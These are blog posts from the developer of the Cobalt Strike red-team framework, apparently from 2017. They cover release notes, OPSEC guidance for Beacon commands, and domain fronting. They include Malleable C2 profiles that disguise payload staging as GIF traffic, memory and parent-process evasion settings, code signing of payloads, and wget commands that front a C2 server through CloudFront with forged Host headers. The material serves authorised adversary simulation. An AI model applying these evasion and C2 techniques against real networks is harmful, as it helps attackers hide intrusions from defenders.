h1

Cobalt Strike 3.9 – Livin’ in a Stager’s Paradise

September 20, 2017

Cobalt Strike 3.9 is now available. This release brings several additions to Malleable C2 with an emphasis on staging flexibility.

Malleable HTTP/S Staging

Stagers are tiny programs that download the Beacon payload and pass control to it. Stagers are a way to use a size-constrained attack to deliver a large payload like Beacon. While I recommend working stageless, stagers are helpful in some situations. Wouldn’t it be nice if you could disguise staging to look like something else? That’s possible now.

This release introduces Malleable C2 flexibility into Beacon’s HTTP and HTTPS stagers. Cobalt Strike 3.9 profiles may modify the HTTP staging URI, add client headers, add URI parameters, and place arbitrary data before or after the encoded payload stage. Here’s the Malleable C2 profile for the above screenshot:

http-stager {
	set uri_x86 "/_init.gif";
	set uri_x64 "/__init.gif";

	client {
		parameter "key1" "value1";
		parameter "key2" "value2";
		header "Host" "yeah this works too";
	}

	server {
		header "Content-Type" "image/gif";

		output {
			prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
			prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
			prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
			print;
		}
	}
}

And, here’s a recorded demonstration:

More Malleable C2 Features

While the HTTP staging gains the most flexibility in this release, 3.9 enhances Malleable C2 in other ways too.

The dns_stager_prepend option places a string before the encoded payload stage delivered via DNS TXT records. This offsets the content in this process and pushes back on signatures that target fixed TXT records in Cobalt Strike’s DNS staging process.

set dns_stager_prepend "v=spf1 mx include:_spf.google.com -all other:";

This release adds an obfuscate setting to the Malleable PE directives. This option masks the Beacon DLL’s import table. Together, the obfuscate setting and strrep (introduced in 3.7), give you a lot of control over which strings are visible in the Beacon stage.

stage {
	set obfuscate "true";

And, Malleable C2 gains a mask statement for its data transform blocks. The mask statement generates a random 4-byte value, masks your data with this value, and prepends this 4-byte value to the masked data. This last step makes it possible to reverse the mask step. The mask statement is interpreted and applied with each Beacon transaction. The mask statement makes it possible to randomize parts of your profile.

Authorization Files

The licensed version of Cobalt Strike 3.9 and later now requires an authorization file to start. The update program, distributed with the Cobalt Strike trial, downloads this authorization file.

The authorization file includes your license expiration date and a unique customer ID. Cobalt Strike 3.9 and later embeds this ID into the Beacon payload stage and any stagers generated by Cobalt Strike. This value is the last 4-bytes of the Beacon payload stager.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.9. Licensed users will need to download the 3.9 trial and use the updated update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

Living the Ghost Life: Announcing Specter Ops, Inc.

July 10, 2017

Have you seen this cute ghost inside of a hexagon? The logo is for Specter Ops, Inc., a new cyber-security consulting firm. Today’s the company’s launch day. The press release is here. The website is here.

Today, Specter Ops, Inc. is 13 people who have given me technical guidance on Cobalt Strike, trained Cobalt Strike users, and made amazing contributions to the security community (to include open source projects and content Cobalt Strike users benefit directly from).

In terms of services: Specter Ops, Inc. has three focus areas: We offer adversary simulation services (red team ops), breach assessments (hunt), and adversary resilience assessments. The last one is particularly interesting. Resilience assessments help harden large Active Directory environments by identifying lateral movement vectors and measuring an organization’s adherence to the principle of least privilege. It’s good stuff. We offer assessments, staff augmentation, training, and program development in each of these areas.

The firm is new, but if you check out the team page, you’ll see there are several familiar faces. You’ll also note I said “we”. I have responsibilities at Specter Ops, Inc. as well. I’m the company’s President and my duties include: strategic guidance, mentoring, and starting conversations with “I remember when I was technical…”.

Day-to-day, I’m still in a Strategic Cyber LLC office space. I continue to argue with procurement people about contract details (yes, really), provide support to my users, and develop Cobalt Strike. This continues to happen under the Strategic Cyber LLC banner. Nothing’s changed here.

For Cobalt Strike users, this is exciting. Specter Ops, Inc. is an official “go to” for Cobalt Strike training and offers services that Strategic Cyber LLC never had the man-power to do. If you’d like engage Specter Ops, Inc., direct your queries to info@specterops.io.

I want to say thank you to each member of the Specter Ops, Inc. team. Thank you for taking the next steps of your career with this firm. I look forward to building an amazing company with you and I’m very excited for the things that will come next. I’m also very proud of all of you for pulling together this launch.

Onwards!

h1

OPSEC Considerations for Beacon Commands

June 23, 2017

A good operator knows their tools and has an idea of how the tool is accomplishing its objectives on their behalf. This blog post surveys Beacons commands and provides background on which commands inject into remote processes, which commands spawn jobs, and which commands rely on cmd.exe or powershell.exe.

API-only

These commands are built-into Beacon and rely on Win32 APIs to meet their objectives.

cd
cp
download
drives
exit
getuid
kerberos_ccache_use
kerberos_ticket_purge
kerberos_ticket_use
jobkill
kill
link
ls
make_token
mkdir
mv
ppid
ps
pwd
rev2self
rm
rportfwd
socks
steal_token
timestomp
unlink
upload

House-keeping Commands

The following commands are built into Beacon and exist to configure Beacon or perform house-keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not generate a task for Beacon to execute.

cancel
checkin
clear
downloads
help
jobs
mode dns
mode dns-txt
mode dns6
mode http
note
powershell-import
sleep
socks stop
spawnto

Post-Exploitation Jobs (Process Execution + Remote Process Injection)

Many Beacon post-exploitation features spawn a process and inject a capability into that process. Beacon does this for a number of reasons: (i) this protects the agent if the capability crashes, (ii) this scheme makes it seamless for an x86 Beacon to launch x64 post-exploitation tasks. The following commands run as post-exploitation jobs:

browserpivot
bypassuac
covertvpn
dcsync
desktop
elevate
hashdump
keylogger
logonpasswords
mimikatz
net
portscan
powerpick
psinject
pth
screenshot
shspawn
spawn
ssh
ssh-key
wdigest

OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe (you probably don’t want that). The ppid command will change the parent process these jobs are run under as well.

Process Execution

These commands spawn a new process:

execute
runas
runu

OPSEC Advice: The ppid command will change the parent process of commands run by execute. The ppid command does not affect runas or spawnu.

Process Execution: Cmd.exe

The shell command depends on cmd.exe.

The pth and getsystem commands get honorable mention here. These commands rely on cmd.exe to pass a token to Beacon via a named pipe.

OPSEC Advice: the shell command uses the COMSPEC environment variable to find the preferred command-line interpreter on Windows. Use Aggressor Script’s &bsetenv function to point COMSPEC to a different cmd.exe location, if needed. Use the ppid command to change the parent process the command-line interpreter is run under. To pth without cmd.exe, execute the pth steps by hand.

Process Execution: PowerShell.exe

The following commands launch powershell.exe to perform some task on your behalf.

powershell
spawnas
spawnu
winrm
wmi

OPSEC Advice: Use the ppid command to change the parent process powershell.exe is run under. Be aware, there are alternatives to each of these commands that do not use powershell.exe:

  • spawnu has runu which runs an arbitrary command under another process.
  • spawnas has runas which runs an arbitrary command as another user.
  • powershell has powerpick, this command runs powershell scripts without powershell.exe.
  • It’s also possible to laterally spread without the winrm and wmi commands.

Remote Process Injection

The post-exploitation job commands (previously mentioned) rely on process injection too. The other commands that inject into a remote process are:

dllinject
inject
shinject

Service Creation

The following internal Beacon commands create a service (either on the current host or a remote target) to run a command. These commands use Win32 APIs to create and manipulate services.

getsystem
psexec
psexec_psh

h1

Cobalt Strike 3.8 – Who’s Your Daddy?

May 23, 2017

Cobalt Strike 3.8 is now available. This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows.

Processes with Alternate Parents

A favorite hunt technique is to instrument a host to report all new processes, their arguments, and the parent process. Hunt operators (and automated solutions) separate the noise from the interesting by looking for odd parent/child process relationships.

This release of Cobalt Strike pushes back on this technique with the ppid command. The PPID command tasks Beacon to launch cmd.exe, powershell.exe, and other processes with an alternate parent. This feature takes advantage of an API, introduced with Windows Vista, to enable consent.exe to launch elevated processes with the non-elevated requester as the parent.

This opens a lot of possibilities. For example, if I’m in a user context, I might set explorer.exe as my parent with something plausible (e.g, iexplore.exe) for my temporary processes. If I’m in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes.

To benefit from the ppid command, your session must have rights to access the parent process. I also recommend that you specify a parent process that exists in the same desktop session. If you don’t, random commands and workflows may fail.

Another way to hop Desktop Sessions

It’s possible, with a few extra steps, to run commands under a parent that lives in another desktop session. Programs run this way will take on the rights and identity of their parent.

Beacon’s runu command runs an arbitrary command as a child of another parent. This command takes the necessary extra steps to do this across session boundaries.
The spawnu command builds on this primitive to spawn a session with powershell.exe.

These commands offer means to spawn a payload, in another desktop session, without remote process injection. As detection of remote process injection becomes more common, it’s important to have other ways to achieve our goals without this offensive technique.

The Resource Kit

Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates! The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. Go to Help -> Arsenal from a licensed copy of Cobalt Strike to download the Resource Kit.

The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.8. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

Java Startup Bug in Java 1.8u131

April 26, 2017

If you recently updated your penetration testing environment, it’s possible you were greeted with a special surprise. Cobalt Strike and its team server will no longer start.

Instead of Cobalt Strike, you’re now greeted with this very intuitive and helpful error: The Parallel GC can not be combined with -XX:ParallelGCThreads=0.

I’ve had a few emails about this. My first answer: I have no idea what that means. Now, I have an answer! This is a known bug in Java 1.8u131. This recent update to Oracle’s Java introduces a change that breaks the -XX:+AggressiveHeap command line option Cobalt Strike uses. This command line option is not uncommon in the Java world and other applications are affected.

The Java team is aware of this bug and it has a priority level 2. This is the level reserved for Crashes, losses of data, and severe memory leaks. They’re taking it seriously and I expect this problem to go away in a coming Java update.

On Linux, one way to work around this Oracle Java bug is to update the cobaltstrike and teamserver scripts to specify the -XX:ParallelGCThreads=8 option after the java command.

I advise that you stay away from Oracle Java 1.8u131. If you already updated to Java 1.8u131, then downgrade to Java 1.8u121.

What about OpenJDK? I continue to recommend Oracle’s Java distribution for use with Cobalt Strike. Oracle’s Java distributions go through a series of acceptance tests to make sure the build is sane. This isn’t always the case with OpenJDK builds/packages. This has led to serious issues in the past.

Update May 23, 2017: Cobalt Strike 3.8 includes a work-around for this issue in its Linux, MacOS X, and Windows launchers. Download the 3.8 trial package to get the latest version of these launchers. This will address the issue.

h1

Cobalt Strike 3.7 – Cat, Meet Mouse

March 15, 2017

The 8th release of the Cobalt Strike 3.0 series is now available. The release extends Malleable C2 to influence how Beacon lives in memory, adds code-signing for executables, and gives operators control over which proxy server Beacon uses. There’s a lot of good stuff here. Let’s dig into it.

Malleable PE

A key goal of Cobalt Strike is to challenge analysts and keep the toolset interesting as they and their capabilities evolve. Many forward leaning security programs rely on memory forensics to detect and respond to actors with capabilities similar to and beyond Cobalt Strike. This release adds some flexibility in this area.

Cobalt Strike 3.7’s Malleable C2 stage block specifies how Beacon lives in memory through changes to Beacon’s Reflective DLL stage. Here’s what this looks like:

stage {
	set userwx "false";
	set compile_time "14 Jul 2009 8:14:00";
	set image_size_x86 "512000";
	set image_size_x64 "512000";
	
	transform-x86 {
		prepend "\x90\x90"; # NOP, NOP!
		strrep "ReflectiveLoader" "DoLegitStuff";
	}

	transform-x64 {
		# transform the x64 rDLL stage
	}
}

Let’s start with permissions: Something magical happens when an analyst sweeps processes for RWX pages. Payloads fall out of the memory. Stagers fall out too. This is because many offensive tools use these liberal permissions, even when they’re not needed. The userwx option gives you control over this. Set userwx to false and Beacon’s Reflective DLL Loader will avoid these permissions.

Veteran analysts with multiple rounds of Cobalt Strike experience may know the size of Beacon’s reflective DLL in memory. I’ve heard 0x42000 thrown around many times. This is the SizeOfImage value in Beacon’s PE header. The image_size_x86 and image_size_x64 options control this value. If you emulate a specific threat actor, consider a SizeOfImage value that matches their malware.

Finally, in the cyber, attribution matters. Nothing feeds fantastical pet attribution theories quite like when the actor compiled their malware. The compile_time option changes this value in Beacon’s Reflective DLL header.

The transform-x86 and transform-x64 blocks pad and transform Beacon’s stage. If you choose to prepend data, make sure it’s valid code for the stage’s architecture. There’s no check for this.

The Malleable C2 documentation has more information on these new options.

Code Signing

This release adds a code signing capability to Cobalt Strike. This feature requires a valid code-signing certificate stored in a Java Keystore file. Those of you who’ve signed Cobalt Strike’s Java Applet already have one of these keystores available. Use Malleable C2’s code-signer block to tell Cobalt Strike about your code-signing certificate.

# setup code-signing certificate for our EXEs and DLLs
code-signer {
	set keystore "keystore.jks";
	set password "password";
	set alias    "server";
}

After you specify a certificate, the Sign executable file box in Attacks -> Packages -> Windows EXE and Attacks -> Packages -> Windows EXE (S) becomes available. Check this box and Cobalt Strike will sign your artifact. It’s as easy as that!

Proxy Override

I’ve had many requests for a way to specify alternate proxy settings for Beacon. This release adds user-specified proxy settings to Beacon’s stageless artifacts. Go to Attacks -> Packages -> Windows EXE (S) and press next to the proxy field to configure this option.

You may leave these proxy settings as-is (default), instruct Beacon to connect directly, or make Beacon use the proxy configuration and credentials that you specify. These options should help in a few situations.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.7. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

High-reputation Redirectors and Domain Fronting

February 6, 2017

Working on Cobalt Strike, I get some insight into what folks are trying to do with it. Recently, the use of domain fronting for redirectors has come on my radar.

A redirector is a server that sits between your malware controller and the target network. Domain fronting is a collection of techniques to make use of other people’s domains and infrastructure as redirectors for your controller.

A trivial form of domain fronting is to stand up a node in Amazon’s EC2 and configure it as a redirector for your controller. The FQDN of your EC2 instance is an amazonaws.com subdomain. Your payloads may call home to this. While this is beneficial in some cases, this isn’t where things get interesting.

Domain fronting becomes interesting when used to appropriate high-reputation domains as redirectors for your controller.

Domain Fronting with Alternate Hosts

How is it possible to use a high-reputation domain that you don’t control? Let’s use Amazon’s CloudFront as an example.

CloudFront is a Content Delivery Network service. It provides its users a globally distributed cache for files hosted on their servers. This reduces load on the customer’s servers and allows the CDN to serve cached content from data centers close(r) to the requester. Each CloudFront configuration is called a “distribution”.

CloudFront identifies distributions by the FQDN used to request resources. Each CloudFront distribution has a unique cloudfront.net subdomain. CloudFront’s users also have the option to serve CloudFront cached objects via their own sub-domain. This is done by creating a DNS record that points to CloudFront and telling CloudFront to associate that DNS record with a specific distribution. Easy enough.

When a client connects to CloudFront, the DNS name that led there is lost information. CloudFront relies on other parts of the request to extract which DNS name the client wants resources from. In an HTTP request, this is the Host header.

One way to domain front is to configure a payload to call home to one host (e.g., media.startupunicorn.com) and set the Host header to something else (e.g., mydistribution.cloudfront.net). If the Host header is set right (and nothing else changes it), your cloudfront.net configuration will dictate what happens next.

df_http_noproxy

Let’s examine what this looks like by hand.

The host malwarec2.losenolove.com is my Cobalt Strike web server, setup to serve /foo.txt. Naturally a request with wget works. (Note: I change wget’s User-Agent with –U because Cobalt Strike always returns a 404 for lynx, wget, and curl useragents).

root@kali:~# wget -U demo -q -O - http://malwarec2.losenolove.com/foo.txt
I'm a happy little malware controller. 🙂

d16b91n8fagr3u.cloudfront.net is my CloudFront distribution. I’ve configured it to serve objects from malwarec2.losenolove.com. A request to this host works to retrieve our file as well:

root@kali:~# wget -U demo -q -O - http://d16b91n8fagr3u.cloudfront.net/foo.txt
I'm a happy little malware controller. 🙂

What happens if we forge the Host header to a different identity? In this case, we get nothing back.

root@kali:~# wget -U demo -q -O - http://d16b91n8fagr3u.cloudfront.net/foo.txt --header "Host: notmydistribution.cloudfront.net"

a0.awsstatic.com is a domain name that points to CloudFront. I know about this domain because other resources on domain fronting use it as an example. If I request /foo.txt from this host, naturally it’s not going to give me anything.

root@kali:~# wget -U demo -q -O - http://a0.awsstatic.com/foo.txt

Let’s modify that slightly. We’ll use the a0.awsstatic.com domain (it all goes to the same place, right?)—but, we’ll forge the Host header to the FQDN of my CloudFront distribution. In this case, I get back the text file.

root@kali:~# wget -U demo -q -O - http://a0.awsstatic.com/foo.txt --header "Host: d16b91n8fagr3u.cloudfront.net"
I'm a happy little malware controller. 🙂

Here, I’ve used a0.awsstatic.com as my high-reputation domain name. There are other, far more interesting, options though.

Domain Fronting with Cobalt Strike

Tom Steele and Chris Patten from Optiv’s Attack and Penetration Team wrote Escape and Evasion Egressing Restricted Networks. This blog post shows how to setup a CloudFront distribution as a redirector for Cobalt Strike’s Beacon payload.

Once this is setup, you’ll want to decide which domain(s) you will use as redirectors. Let’s say a popular blog service uses CloudFront to serve static images. You may decide it makes sense to use this domain for your C2. Fine!

Next, I recommend you configure a Cobalt Strike Malleable C2 profile that matches something plausible on this domain. Malleable C2 is a Cobalt Strike technology that allows you, the product’s user, to shape Cobalt Strike’s Beacon traffic to look like other malware or something legitimate. If the domain serves static images, make a profile that looks like one of these static images. Keep in mind it’s possible to use only HTTP GETs (or even HTTP POSTs) for C2.

Once you have that part figured out, you’ll want to update your profile to insert your CloudFront distribution’s FQDN into the Host header. You can do this with Malleable C2’s header keyword:

http-get {
	client {
		header "Host" "[your distribution].cloudfront.net";

Make sure you do this in both the http-get -> client and http-post -> client Malleable C2 blocks. During a conversation, a friend remarked that they were stuck for awhile because they set the Host header in the http-get block, but not the http-post block. You have to set this in both places.

http-post {
	client {
		header "Host" "[your distribution].cloudfront.net";

Once this is setup, you can configure your Beacon payload to call home to different domains that point to CloudFront.

One limitation: there’s no option to set the Host header in Cobalt Strike’s stagers. You can work with stageless payloads though. Go to Attacks -> Packages -> Windows EXE (S) to export a Cobalt Strike stageless artifact. If you want to stage, I recommend that you configure the stager to connect to your cloudfront.net distribution directly or use another redirector.

This video walks through all of this, end-to-end:

 Finding High-reputation Domains for Use

My examples here use a0.awsstatic.com as an alternate host. Think of it as the Hello World of Domain Fronting. Vincent Yiu from MDSec took this a step further. He wrote a script to check likely CDN subdomains from a list of popular websites. His initial work found over three thousand subdomains that point to CloudFront and demonstrated that they work as alternate hosts with the technique discussed here.

A Note About RFC 2616, Section 14.23

So far, this blog post focuses on domain fronting over HTTP. If the target system goes through a proxy server, you’re in trouble. An RFC-compliant HTTP proxy server will rewrite the Host header in an HTTP request to match the domain in the URL it’s asked to retrieve. The Squid proxy documentation talks about this behavior. For many some networks, this means HTTP is a non-option.

df_http_withproxy

Update 7 Feb 2017: This behavior matches my experiments with a Squid proxy locally, but don’t take it for granted that your target’s appliance(s) work this way. After I made this post live, Vincent Yiu took a look at a commercial secure web appliance and its behavior with these techniques. This appliance didn’t rewrite the Host header as expected. If you’re curious about how an appliance that enforces site categorization behaves with these techniques, Vincent’s latest video is worth a look:

You probably want SSL/TLS

What about SSL/TLS? That’s an option. This will likely get you through some proxy configurations. A device that intercepts SSL traffic will may make life more difficult. You may find that certain networks will exempt some high-reputation domains from SSL interception.

df_https_withproxy

If you’d like to use the HTTPS Beacon with CloudFront:

  1. Be aware, CloudFront requires your web server to have a valid SSL certificate.
  2. Consult Cobalt Strike’s Malleable C2 documentation. It shows how to use a valid SSL certificate with Beacon.

Other Services

Here, I’ve given a lot of details on domain fronting with CloudFront. There are other fronting-capable web services where these (and other) techniques apply. The Camouflage at encryption layer: domain fronting blog post demonstrates these concepts with Google App Engine. The documentation for the Meek Pluggable Tor Transport also discusses several domain fronting options. Finally, Blocking-resistant communication through domain fronting describes this concept in detail, for multiple services.

My Thoughts

Domain Fronting is an interesting technique to use high-reputation domains for callbacks. It’s not the right tool for all situations though. An RFC compliant proxy will defeat HTTP requests. A proxy server that terminates and inspects SSL/TLS sessions will might handily defeat this as well. There’s probably wiggle room using this technique with whitelisted high-reputation domains. This makes locating domain options even more important! Remember, these are not CloudFront-only techniques.